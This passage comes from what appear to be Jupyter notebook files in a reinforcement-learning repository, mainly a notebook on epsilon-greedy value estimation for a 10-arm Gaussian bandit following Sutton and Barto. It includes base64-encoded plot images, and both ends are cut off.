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\nQmCC\n", "text": [ "<matplotlib.figure.Figure at 0x109db0210>" ] } ], "prompt_number": 4 } ], "metadata": {} } ] }

mit

bgalbraith/bandits

notebooks/Stochastic Bandits - Value Estimation.ipynb

1

309856

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Stochastic Multi-Armed Bandits - Value Estimation\n", "These examples come from Chapter 2 of [Reinforcement Learning: An Introduction](https://webdocs.cs.ualberta.ca/~sutton/book/the-book.html) by Sutton and Barto (2nd ed. rev: Oct2015)" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "%matplotlib inline\n", "import os\n", "import sys\n", "module_path = os.path.abspath(os.path.join('..'))\n", "if module_path not in sys.path:\n", " sys.path.append(module_path)\n", "\n", "import bandits as bd" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The example test environment used in the book is a stochastic 10-arm bandit with action values normally distributed with zero mean and unit variance. The reward from each arm is itself normally distributed with mean equal to the action value of the arm and unit variance.\n", "\n", "In the book, they show the average reward and percentage of optimal choice made over 2000 experiments of 1000 trials each, where each experiment corresponds to a different random selection of arm action values. To speed up the simulation time, we limt the number of experiments here to 500." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "n_arms = 10\n", "bandit = bd.GaussianBandit(n_arms)\n", "n_trials = 1000\n", "n_experiments = 500" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Epsilon-Greedy\n", "Here we introduce the Epsilon-Greedy policy, which, on each trial, either randomly explores the choices with probability epsilon or exploits the apparent best choice with probabilty 1-epsilon.\n", "\n", "epsilon = 0.1 is a common choice, which explores the set of choices 10% of the time." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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